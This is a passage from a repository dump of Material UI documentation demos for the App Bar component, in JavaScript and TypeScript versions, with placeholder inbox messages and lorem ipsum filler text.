<MoreIcon />\n          </IconButton>\n        </Toolbar>\n      </AppBar>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/app-bar/BottomAppBar.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport IconButton from '@mui/material/IconButton';\nimport Paper from '@mui/material/Paper';\nimport Fab from '@mui/material/Fab';\nimport List from '@mui/material/List';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemAvatar from '@mui/material/ListItemAvatar';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListSubheader from '@mui/material/ListSubheader';\nimport Avatar from '@mui/material/Avatar';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport AddIcon from '@mui/icons-material/Add';\nimport SearchIcon from '@mui/icons-material/Search';\nimport MoreIcon from '@mui/icons-material/MoreVert';\n\nconst messages = [\n  {\n    id: 1,\n    primary: 'Brunch this week?',\n    secondary: \"I'll be in the neighbourhood this week. Let's grab a bite to eat\",\n    person: '/static/images/avatar/5.jpg',\n  },\n  {\n    id: 2,\n    primary: 'Birthday Gift',\n    secondary: `Do you have a suggestion for a good present for John on his work\n      anniversary. I am really confused & would love your thoughts on it.`,\n    person: '/static/images/avatar/1.jpg',\n  },\n  {\n    id: 3,\n    primary: 'Recipe to try',\n    secondary: 'I am try out this new BBQ recipe, I think this might be amazing',\n    person: '/static/images/avatar/2.jpg',\n  },\n  {\n    id: 4,\n    primary: 'Yes!',\n    secondary: 'I have the tickets to the ReactConf for this year.',\n    person: '/static/images/avatar/3.jpg',\n  },\n  {\n    id: 5,\n    primary: \"Doctor's Appointment\",\n    secondary: 'My appointment for the doctor was rescheduled for next Saturday.',\n    person: '/static/images/avatar/4.jpg',\n  },\n  {\n    id: 6,\n    primary: 'Discussion',\n    secondary: `Menus that are generated by the bottom app bar (such as a bottom\n      navigation drawer or overflow menu) open as bottom sheets at a higher elevation\n      than the bar.`,\n    person: '/static/images/avatar/5.jpg',\n  },\n  {\n    id: 7,\n    primary: 'Summer BBQ',\n    secondary: `Who wants to have a cookout this weekend? I just got some furniture\n      for my backyard and would love to fire up the grill.`,\n    person: '/static/images/avatar/1.jpg',\n  },\n];\n\nconst StyledFab = styled(Fab)({\n  position: 'absolute',\n  zIndex: 1,\n  top: -30,\n  left: 0,\n  right: 0,\n  margin: '0 auto',\n});\n\nexport default function BottomAppBar() {\n  return (\n    <React.Fragment>\n      <CssBaseline />\n      <Paper square sx={{ pb: '50px' }}>\n        <Typography variant=\"h5\" gutterBottom component=\"div\" sx={{ p: 2, pb: 0 }}>\n          Inbox\n        </Typography>\n        <List sx={{ mb: 2 }}>\n          {messages.map(({ id, primary, secondary, person }) => (\n            <React.Fragment key={id}>\n              {id === 1 && (\n                <ListSubheader sx={{ bgcolor: 'background.paper' }}>\n                  Today\n                </ListSubheader>\n              )}\n              {id === 3 && (\n                <ListSubheader sx={{ bgcolor: 'background.paper' }}>\n                  Yesterday\n                </ListSubheader>\n              )}\n              <ListItemButton>\n                <ListItemAvatar>\n                  <Avatar alt=\"Profile Picture\" src={person} />\n                </ListItemAvatar>\n                <ListItemText primary={primary} secondary={secondary} />\n              </ListItemButton>\n            </React.Fragment>\n          ))}\n        </List>\n      </Paper>\n      <AppBar position=\"fixed\" color=\"primary\" sx={{ top: 'auto', bottom: 0 }}>\n        <Toolbar>\n          <IconButton color=\"inherit\" aria-label=\"open drawer\">\n            <MenuIcon />\n          </IconButton>\n          <StyledFab color=\"secondary\" aria-label=\"add\">\n            <AddIcon />\n          </StyledFab>\n          <Box sx={{ flexGrow: 1 }} />\n          <IconButton color=\"inherit\">\n            <SearchIcon />\n          </IconButton>\n          <IconButton color=\"inherit\">\n            <MoreIcon />\n          </IconButton>\n        </Toolbar>\n      </AppBar>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/app-bar/ButtonAppBar.js",
    "content": "import AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport Button from '@mui/material/Button';\nimport IconButton from '@mui/material/IconButton';\nimport MenuIcon from '@mui/icons-material/Menu';\n\nexport default function ButtonAppBar() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <AppBar position=\"static\">\n        <Toolbar>\n          <IconButton\n            size=\"large\"\n            edge=\"start\"\n            color=\"inherit\"\n            aria-label=\"menu\"\n            sx={{ mr: 2 }}\n          >\n            <MenuIcon />\n          </IconButton>\n          <Typography variant=\"h6\" component=\"div\" sx={{ flexGrow: 1 }}>\n            News\n          </Typography>\n          <Button color=\"inherit\">Login</Button>\n        </Toolbar>\n      </AppBar>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/app-bar/ButtonAppBar.tsx",
    "content": "import AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport Button from '@mui/material/Button';\nimport IconButton from '@mui/material/IconButton';\nimport MenuIcon from '@mui/icons-material/Menu';\n\nexport default function ButtonAppBar() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <AppBar position=\"static\">\n        <Toolbar>\n          <IconButton\n            size=\"large\"\n            edge=\"start\"\n            color=\"inherit\"\n            aria-label=\"menu\"\n            sx={{ mr: 2 }}\n          >\n            <MenuIcon />\n          </IconButton>\n          <Typography variant=\"h6\" component=\"div\" sx={{ flexGrow: 1 }}>\n            News\n          </Typography>\n          <Button color=\"inherit\">Login</Button>\n        </Toolbar>\n      </AppBar>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/app-bar/DenseAppBar.js",
    "content": "import AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport IconButton from '@mui/material/IconButton';\nimport MenuIcon from '@mui/icons-material/Menu';\n\nexport default function DenseAppBar() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <AppBar position=\"static\">\n        <Toolbar variant=\"dense\">\n          <IconButton edge=\"start\" color=\"inherit\" aria-label=\"menu\" sx={{ mr: 2 }}>\n            <MenuIcon />\n          </IconButton>\n          <Typography\n            variant=\"h6\"\n            component=\"div\"\n            sx={{\n              color: 'inherit',\n            }}\n          >\n            Photos\n          </Typography>\n        </Toolbar>\n      </AppBar>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/app-bar/DenseAppBar.tsx",
    "content": "import AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport IconButton from '@mui/material/IconButton';\nimport MenuIcon from '@mui/icons-material/Menu';\n\nexport default function DenseAppBar() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <AppBar position=\"static\">\n        <Toolbar variant=\"dense\">\n          <IconButton edge=\"start\" color=\"inherit\" aria-label=\"menu\" sx={{ mr: 2 }}>\n            <MenuIcon />\n          </IconButton>\n          <Typography\n            variant=\"h6\"\n            component=\"div\"\n            sx={{\n              color: 'inherit',\n            }}\n          >\n            Photos\n          </Typography>\n        </Toolbar>\n      </AppBar>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/app-bar/DenseAppBar.tsx.preview",
    "content": "<AppBar position=\"static\">\n  <Toolbar variant=\"dense\">\n    <IconButton edge=\"start\" color=\"inherit\" aria-label=\"menu\" sx={{ mr: 2 }}>\n      <MenuIcon />\n    </IconButton>\n    <Typography\n      variant=\"h6\"\n      component=\"div\"\n      sx={{\n        color: 'inherit',\n      }}\n    >\n      Photos\n    </Typography>\n  </Toolbar>\n</AppBar>"
  },
  {
    "path": "docs/data/material/components/app-bar/DrawerAppBar.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Divider from '@mui/material/Divider';\nimport Drawer from '@mui/material/Drawer';\nimport IconButton from '@mui/material/IconButton';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemText from '@mui/material/ListItemText';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport Button from '@mui/material/Button';\n\nconst drawerWidth = 240;\nconst navItems = ['Home', 'About', 'Contact'];\n\nfunction DrawerAppBar(props) {\n  const { window } = props;\n  const [mobileOpen, setMobileOpen] = React.useState(false);\n\n  const handleDrawerToggle = () => {\n    setMobileOpen((prevState) => !prevState);\n  };\n\n  const drawer = (\n    <Box onClick={handleDrawerToggle} sx={{ textAlign: 'center' }}>\n      <Typography variant=\"h6\" sx={{ my: 2 }}>\n        MUI\n      </Typography>\n      <Divider />\n      <List>\n        {navItems.map((item) => (\n          <ListItem key={item} disablePadding>\n            <ListItemButton sx={{ textAlign: 'center' }}>\n              <ListItemText primary={item} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n      </List>\n    </Box>\n  );\n\n  const container = window !== undefined ? () => window().document.body : undefined;\n\n  return (\n    <Box sx={{ display: 'flex' }}>\n      <CssBaseline />\n      <AppBar component=\"nav\">\n        <Toolbar>\n          <IconButton\n            color=\"inherit\"\n            aria-label=\"open drawer\"\n            edge=\"start\"\n            onClick={handleDrawerToggle}\n            sx={{ mr: 2, display: { sm: 'none' } }}\n          >\n            <MenuIcon />\n          </IconButton>\n          <Typography\n            variant=\"h6\"\n            component=\"div\"\n            sx={{ flexGrow: 1, display: { xs: 'none', sm: 'block' } }}\n          >\n            MUI\n          </Typography>\n          <Box sx={{ display: { xs: 'none', sm: 'block' } }}>\n            {navItems.map((item) => (\n              <Button key={item} sx={{ color: '#fff' }}>\n                {item}\n              </Button>\n            ))}\n          </Box>\n        </Toolbar>\n      </AppBar>\n      <nav>\n        <Drawer\n          container={container}\n          variant=\"temporary\"\n          open={mobileOpen}\n          onClose={handleDrawerToggle}\n          ModalProps={{\n            keepMounted: true, // Better open performance on mobile.\n          }}\n          sx={{\n            display: { xs: 'block', sm: 'none' },\n            '& .MuiDrawer-paper': { boxSizing: 'border-box', width: drawerWidth },\n          }}\n        >\n          {drawer}\n        </Drawer>\n      </nav>\n      <Box component=\"main\" sx={{ p: 3 }}>\n        <Toolbar />\n        <Typography>\n          Lorem ipsum dolor sit amet consectetur adipisicing elit. Similique unde\n          fugit veniam eius, perspiciatis sunt? Corporis qui ducimus quibusdam,\n          aliquam dolore excepturi quae. Distinctio enim at eligendi perferendis in\n          cum quibusdam sed quae, accusantium et aperiam? Quod itaque exercitationem,\n          at ab sequi qui modi delectus quia corrupti alias distinctio nostrum.\n          Minima ex dolor modi inventore sapiente necessitatibus aliquam fuga et. Sed\n          numquam quibusdam at officia sapiente porro maxime corrupti perspiciatis\n          asperiores, exercitationem eius nostrum consequuntur iure aliquam itaque,\n          assumenda et! Quibusdam temporibus beatae doloremque voluptatum doloribus\n          soluta accusamus porro reprehenderit eos inventore facere, fugit, molestiae\n          ab officiis illo voluptates recusandae. Vel dolor nobis eius, ratione atque\n          soluta, aliquam fugit qui iste architecto perspiciatis. Nobis, voluptatem!\n          Cumque, eligendi unde aliquid minus quis sit debitis obcaecati error,\n          delectus quo eius exercitationem tempore. Delectus sapiente, provident\n          corporis dolorum quibusdam aut beatae repellendus est labore quisquam\n          praesentium repudiandae non vel laboriosam quo ab perferendis velit ipsa\n          deleniti modi! Ipsam, illo quod. Nesciunt commodi nihil corrupti cum non\n          fugiat praesentium doloremque architecto laborum aliquid. Quae, maxime\n          recusandae? Eveniet dolore molestiae dicta blanditiis est expedita eius\n          debitis cupiditate porro sed aspernatur quidem, repellat nihil quasi\n          praesentium quia eos, quibusdam provident. Incidunt tempore vel placeat\n          voluptate iure labore, repellendus beatae quia unde est aliquid dolor\n          molestias libero. Reiciendis similique exercitationem consequatur, nobis\n          placeat illo laudantium! Enim perferendis nulla soluta magni error,\n          provident repellat similique cupiditate ipsam, et tempore cumque quod! Qui,\n          iure suscipit tempora unde rerum autem saepe nisi vel cupiditate iusto.\n          Illum, corrupti? Fugiat quidem accusantium nulla. Aliquid inventore commodi\n          reprehenderit rerum reiciendis! Quidem alias repudiandae eaque eveniet\n          cumque nihil aliquam in expedita, impedit quas ipsum nesciunt ipsa ullam\n          consequuntur dignissimos numquam at nisi porro a, quaerat rem repellendus.\n          Voluptates perspiciatis, in pariatur impedit, nam facilis libero dolorem\n          dolores sunt inventore perferendis, aut sapiente modi nesciunt.\n        </Typography>\n      </Box>\n    </Box>\n  );\n}\n\nDrawerAppBar.propTypes = {\n  /**\n   * Injected by the documentation to work in an iframe.\n   * You won't need it on your project.\n   */\n  window: PropTypes.func,\n};\n\nexport default DrawerAppBar;\n"
  },
  {
    "path": "docs/data/material/components/app-bar/DrawerAppBar.tsx",
    "content": "import * as React from 'react';\nimport AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Divider from '@mui/material/Divider';\nimport Drawer from '@mui/material/Drawer';\nimport IconButton from '@mui/material/IconButton';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemText from '@mui/material/ListItemText';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport Button from '@mui/material/Button';\n\ninterface Props {\n  /**\n   * Injected by the documentation to work in an iframe.\n   * You won't need it on your project.\n   */\n  window?: () => Window;\n}\n\nconst drawerWidth = 240;\nconst navItems = ['Home', 'About', 'Contact'];\n\nexport default function DrawerAppBar(props: Props) {\n  const { window } = props;\n  const [mobileOpen, setMobileOpen] = React.useState(false);\n\n  const handleDrawerToggle = () => {\n    setMobileOpen((prevState) => !prevState);\n  };\n\n  const drawer = (\n    <Box onClick={handleDrawerToggle} sx={{ textAlign: 'center' }}>\n      <Typography variant=\"h6\" sx={{ my: 2 }}>\n        MUI\n      </Typography>\n      <Divider />\n      <List>\n        {navItems.map((item) => (\n          <ListItem key={item} disablePadding>\n            <ListItemButton sx={{ textAlign: 'center' }}>\n              <ListItemText primary={item} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n      </List>\n    </Box>\n  );\n\n  const container = window !== undefined ? () => window().document.body : undefined;\n\n  return (\n    <Box sx={{ display: 'flex' }}>\n      <CssBaseline />\n      <AppBar component=\"nav\">\n        <Toolbar>\n          <IconButton\n            color=\"inherit\"\n            aria-label=\"open drawer\"\n            edge=\"start\"\n            onClick={handleDrawerToggle}\n            sx={{ mr: 2, display: { sm: 'none' } }}\n          >\n            <MenuIcon />\n          </IconButton>\n          <Typography\n            variant=\"h6\"\n            component=\"div\"\n            sx={{ flexGrow: 1, display: { xs: 'none', sm: 'block' } }}\n          >\n            MUI\n          </Typography>\n          <Box sx={{ display: { xs: 'none', sm: 'block' } }}>\n            {navItems.map((item) => (\n              <Button key={item} sx={{ color: '#fff' }}>\n                {item}\n              </Button>\n            ))}\n          </Box>\n        </Toolbar>\n      </AppBar>\n      <nav>\n        <Drawer\n          container={container}\n          variant=\"temporary\"\n          open={mobileOpen}\n          onClose={handleDrawerToggle}\n          ModalProps={{\n            keepMounted: true, // Better open performance on mobile.\n          }}\n          sx={{\n            display: { xs: 'block', sm: 'none' },\n            '& .MuiDrawer-paper': { boxSizing: 'border-box', width: drawerWidth },\n          }}\n        >\n          {drawer}\n        </Drawer>\n      </nav>\n      <Box component=\"main\" sx={{ p: 3 }}>\n        <Toolbar />\n        <Typography>\n          Lorem ipsum dolor sit amet consectetur adipisicing elit. Similique unde\n          fugit veniam eius, perspiciatis sunt? Corporis qui ducimus quibusdam,\n          aliquam dolore excepturi quae. Distinctio enim at eligendi perferendis in\n          cum quibusdam sed quae, accusantium et aperiam? Quod itaque exercitationem,\n          at ab sequi qui modi delectus quia corrupti alias distinctio nostrum.\n          Minima ex dolor modi inventore sapiente necessitatibus aliquam fuga et. Sed\n          numquam quibusdam at officia sapiente porro maxime corrupti perspiciatis\n          asperiores, exercitationem eius nostrum consequuntur iure aliquam itaque,\n          assumenda et! Quibusdam temporibus beatae doloremque voluptatum doloribus\n          soluta accusamus porro reprehenderit eos inventore facere, fugit, molestiae\n          ab officiis illo voluptates recusandae. Vel dolor nobis eius, ratione atque\n          soluta, aliquam fugit qui iste architecto perspiciatis. Nobis, voluptatem!\n          Cumque, eligendi unde aliquid minus quis sit debitis obcaecati error,\n          delectus quo eius exercitationem tempore. Delectus sapiente, provident\n          corporis dolorum quibusdam aut beatae repellendus est labore quisquam\n          praesentium repudiandae non vel laboriosam quo ab perferendis velit ipsa\n          deleniti modi! Ipsam, illo quod. Nesciunt commodi nihil corrupti cum non\n          fugiat praesentium doloremque architecto laborum aliquid. Quae, maxime\n          recusandae? Eveniet dolore molestiae dicta blanditiis est expedita eius\n          debitis cupiditate porro sed aspernatur quidem, repellat nihil quasi\n          praesentium quia eos, quibusdam provident. Incidunt tempore vel placeat\n          voluptate iure labore, repellendus beatae quia unde est aliquid dolor\n          molestias libero. Reiciendis similique exercitationem consequatur, nobis\n          placeat illo laudantium! Enim perferendis nulla soluta magni error,\n          provident repellat similique cupiditate ipsam, et tempore cumque quod! Qui,\n          iure suscipit tempora unde rerum autem saepe nisi vel cupiditate iusto.\n          Illum, corrupti? Fugiat quidem accusantium nulla. Aliquid inventore commodi\n          reprehenderit rerum reiciendis! Quidem alias repudiandae eaque eveniet\n          cumque nihil aliquam in expedita, impedit quas ipsum nesciunt ipsa ullam\n          consequuntur dignissimos numquam at nisi porro a, quaerat rem repellendus.\n          Voluptates perspiciatis, in pariatur impedit, nam facilis libero dolorem\n          dolores sunt inventore perferendis, aut sapiente modi nesciunt.\n        </Typography>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/app-bar/ElevateAppBar.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport AppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport useScrollTrigger from '@mui/material/useScrollTrigger';\nimport Box from '@mui/material/Box';\nimport Container from '@mui/material/Container';\n\nfunction ElevationScroll(props) {\n  const { children, window } = props;\n  // Note that you normally won't need to set the window ref as useScrollTrigger\n  // will default to window.\n  // This is only being set here because the demo is in an iframe.\n  const trigger = useScrollTrigger({\n    disableHysteresis: true,\n    threshold: 0,\n    target: window ? window() : undefined,\n  });\n\n  return children\n    ? React.cloneElement(children, {\n        elevation: trigger ? 4 : 0,\n      })\n    : null;\n}\n\nElevationScroll.propTypes = {\n  children: PropTypes.element,\n  /**\n   * Injected by the documentation to work in an iframe.\n   * You won't need it on your project.\n   */\n  window: PropTypes.func,\n};\n\nexport default function ElevateAppBar(props) {\n  return (\n    <React.Fragment>\n      <CssBaseline />\n      <ElevationScroll {...props}>\n        <AppBar>\n          <Toolbar>\n            <Typography variant=\"h6\" component=\"div\">\n              Scroll to elevate App bar\n            </Typography>\n          </Toolbar>\n        </AppBar>\n      </ElevationScroll>\n      <Toolbar />\n      <Container>\n        <Box sx={{ my: 2 }}>\n          {[...new Array(12)]\n            .map(\n              () => `Cras mattis consectetur purus sit amet fermentum.\nCras justo odio, dapibus ac facilisis in, egestas eget quam.\nMorbi leo risus, porta ac consectetur ac, vestibulum at eros.\nPraesent commodo cursus magna, vel scelerisque nisl consectetur et.`,\n            )\n            .join('\\n')}\n        </Box>\n      </Container>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/app-bar/ElevateAppBar.tsx",
    "content": "import * as React from 'react';\nimport AppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport useScrollTrigger from '@mui/material/useScrollTrigger';\nimport Box from '@mui/material/Box';\nimport Container from '@mui/material/Container';\n\ninterface Props {\n  /**\n   * Injected by the documentation to work in an iframe.\n   * You won't need it on your project.\n   */\n  window?: () => Window;\n  children?: React.ReactElement<{ elevation?: number }>;\n}\n\nfunction ElevationScroll(props: Props) {\n  const { children, window } = props;\n  // Note that you normally won't need to set the window ref as useScrollTrigger\n  // will default to window.\n  // This is only being set here because the demo is in an iframe.\n  const trigger = useScrollTrigger({\n    disableHysteresis: true,\n    threshold: 0,\n    target: window ? window() : undefined,\n  });\n\n  return children\n    ? React.cloneElement(children, {\n        elevation: trigger ? 4 : 0,\n      })\n    : null;\n}\n\nexport default function ElevateAppBar(props: Props) {\n  return (\n    <React.Fragment>\n      <CssBaseline />\n      <ElevationScroll {...props}>\n        <AppBar>\n          <Toolbar>\n            <Typography variant=\"h6\" component=\"div\">\n              Scroll to elevate App bar\n            </Typography>\n          </Toolbar>\n        </AppBar>\n      </ElevationScroll>\n      <Toolbar />\n      <Container>\n        <Box sx={{ my: 2 }}>\n          {[...new Array(12)]\n            .map(\n              () => `Cras mattis consectetur purus sit amet fermentum.\nCras justo odio, dapibus ac facilisis in, egestas eget quam.\nMorbi leo risus, porta ac consectetur ac, vestibulum at eros.\nPraesent commodo cursus magna, vel scelerisque nisl consectetur et.`,\n            )\n            .join('\\n')}\n        </Box>\n      </Container>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/app-bar/EnableColorOnDarkAppBar.js",
    "content": "import AppBar from '@mui/material/AppBar';\nimport Stack from '@mui/material/Stack';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport IconButton from '@mui/material/IconButton';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\n\nfunction appBarLabel(label) {\n  return (\n    <Toolbar>\n      <IconButton edge=\"start\" color=\"inherit\" aria-label=\"menu\" sx={{ mr: 2 }}>\n        <MenuIcon />\n      </IconButton>\n      <Typography variant=\"h6\" noWrap component=\"div\" sx={{ flexGrow: 1 }}>\n        {label}\n      </Typography>\n    </Toolbar>\n  );\n}\n\nconst darkTheme = createTheme({\n  palette: {\n    mode: 'dark',\n    primary: {\n      main: '#1976d2',\n    },\n  },\n});\n\nexport default function EnableColorOnDarkAppBar() {\n  return (\n    <Stack spacing={2} sx={{ flexGrow: 1 }}>\n      <ThemeProvider theme={darkTheme}>\n        <AppBar position=\"static\" color=\"primary\" enableColorOnDark>\n          {appBarLabel('enableColorOnDark')}\n        </AppBar>\n        <AppBar position=\"static\" color=\"primary\">\n          {appBarLabel('default')}\n        </AppBar>\n      </ThemeProvider>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/app-bar/EnableColorOnDarkAppBar.tsx",
    "content": "import AppBar from '@mui/material/AppBar';\nimport Stack from '@mui/material/Stack';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport IconButton from '@mui/material/IconButton';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\n\nfunction appBarLabel(label: string) {\n  return (\n    <Toolbar>\n      <IconButton edge=\"start\" color=\"inherit\" aria-label=\"menu\" sx={{ mr: 2 }}>\n        <MenuIcon />\n      </IconButton>\n      <Typography variant=\"h6\" noWrap component=\"div\" sx={{ flexGrow: 1 }}>\n        {label}\n      </Typography>\n    </Toolbar>\n  );\n}\n\nconst darkTheme = createTheme({\n  palette: {\n    mode: 'dark',\n    primary: {\n      main: '#1976d2',\n    },\n  },\n});\n\nexport default function EnableColorOnDarkAppBar() {\n  return (\n    <Stack spacing={2} sx={{ flexGrow: 1 }}>\n      <ThemeProvider theme={darkTheme}>\n        <AppBar position=\"static\" color=\"primary\" enableColorOnDark>\n          {appBarLabel('enableColorOnDark')}\n        </AppBar>\n        <AppBar position=\"static\" color=\"primary\">\n          {appBarLabel('default')}\n        </AppBar>\n      </ThemeProvider>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/app-bar/EnableColorOnDarkAppBar.tsx.preview",
    "content": "<ThemeProvider theme={darkTheme}>\n  <AppBar position=\"static\" color=\"primary\" enableColorOnDark>\n    {appBarLabel('enableColorOnDark')}\n  </AppBar>\n  <AppBar position=\"static\" color=\"primary\">\n    {appBarLabel('default')}\n  </AppBar>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/components/app-bar/HideAppBar.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport AppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport useScrollTrigger from '@mui/material/useScrollTrigger';\nimport Box from '@mui/material/Box';\nimport Container from '@mui/material/Container';\nimport Slide from '@mui/material/Slide';\n\nfunction HideOnScroll(props) {\n  const { children, window } = props;\n  // Note that you normally won't need to set the window ref as useScrollTrigger\n  // will default to window.\n  // This is only being set here because the demo is in an iframe.\n  const trigger = useScrollTrigger({\n    target: window ? window() : undefined,\n  });\n\n  return (\n    <Slide appear={false} direction=\"down\" in={!trigger}>\n      {children ?? <div />}\n    </Slide>\n  );\n}\n\nHideOnScroll.propTypes = {\n  children: PropTypes.element,\n  /**\n   * Injected by the documentation to work in an iframe.\n   * You won't need it on your project.\n   */\n  window: PropTypes.func,\n};\n\nexport default function HideAppBar(props) {\n  return (\n    <React.Fragment>\n      <CssBaseline />\n      <HideOnScroll {...props}>\n        <AppBar>\n          <Toolbar>\n            <Typography variant=\"h6\" component=\"div\">\n              Scroll to hide App bar\n            </Typography>\n          </Toolbar>\n        </AppBar>\n      </HideOnScroll>\n      <Toolbar />\n      <Container>\n        <Box sx={{ my: 2 }}>\n          {[...new Array(12)]\n            .map(\n              () => `Cras mattis consectetur purus sit amet fermentum.\nCras justo odio, dapibus ac facilisis in, egestas eget quam.\nMorbi leo risus, porta ac consectetur ac, vestibulum at eros.\nPraesent commodo cursus magna, vel scelerisque nisl consectetur et.`,\n            )\n            .join('\\n')}\n        </Box>\n      </Container>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/app-bar/HideAppBar.tsx",
    "content": "import * as React from 'react';\nimport AppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport useScrollTrigger from '@mui/material/useScrollTrigger';\nimport Box from '@mui/material/Box';\nimport Container from '@mui/material/Container';\nimport Slide from '@mui/material/Slide';\n\ninterface Props {\n  /**\n   * Injected by the documentation to work in an iframe.\n   * You won't need it on your project.\n   */\n  window?: () => Window;\n  children?: React.ReactElement<unknown>;\n}\n\nfunction HideOnScroll(props: Props) {\n  const { children, window } = props;\n  // Note that you normally won't need to set the window ref as useScrollTrigger\n  // will default to window.\n  // This is only being set here because the demo is in an iframe.\n  const trigger = useScrollTrigger({\n    target: window ? window() : undefined,\n  });\n\n  return (\n    <Slide appear={false} direction=\"down\" in={!trigger}>\n      {children ?? <div />}\n    </Slide>\n  );\n}\n\nexport default function HideAppBar(props: Props) {\n  return (\n    <React.Fragment>\n      <CssBaseline />\n      <HideOnScroll {...props}>\n        <AppBar>\n          <Toolbar>\n            <Typography variant=\"h6\" component=\"div\">\n              Scroll to hide App bar\n            </Typography>\n          </Toolbar>\n        </AppBar>\n      </HideOnScroll>\n      <Toolbar />\n      <Container>\n        <Box sx={{ my: 2 }}>\n          {[...new Array(12)]\n            .map(\n              () => `Cras mattis consectetur purus sit amet fermentum.\nCras justo odio, dapibus ac facilisis in, egestas eget quam.\nMorbi leo risus, porta ac consectetur ac, vestibulum at eros.\nPraesent commodo cursus magna, vel scelerisque nisl consectetur et.`,\n            )\n            .join('\\n')}\n        </Box>\n      </Container>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/app-bar/MenuAppBar.js",
    "content": "import * as React from 'react';\nimport AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport IconButton from '@mui/material/IconButton';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport AccountCircle from '@mui/icons-material/AccountCircle';\nimport Switch from '@mui/material/Switch';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormGroup from '@mui/material/FormGroup';\nimport MenuItem from '@mui/material/MenuItem';\nimport Menu from '@mui/material/Menu';\n\nexport default function MenuAppBar() {\n  const [auth, setAuth] = React.useState(true);\n  const [anchorEl, setAnchorEl] = React.useState(null);\n\n  const handleChange = (event) => {\n    setAuth(event.target.checked);\n  };\n\n  const handleMenu = (event) => {\n    setAnchorEl(event.currentTarget);\n  };\n\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <FormGroup>\n        <FormControlLabel\n          control={\n            <Switch\n              checked={auth}\n              onChange={handleChange}\n              aria-label=\"login switch\"\n            />\n          }\n          label={auth ? 'Logout' : 'Login'}\n        />\n      </FormGroup>\n      <AppBar position=\"static\">\n        <Toolbar>\n          <IconButton\n            size=\"large\"\n            edge=\"start\"\n            color=\"inherit\"\n            aria-label=\"menu\"\n            sx={{ mr: 2 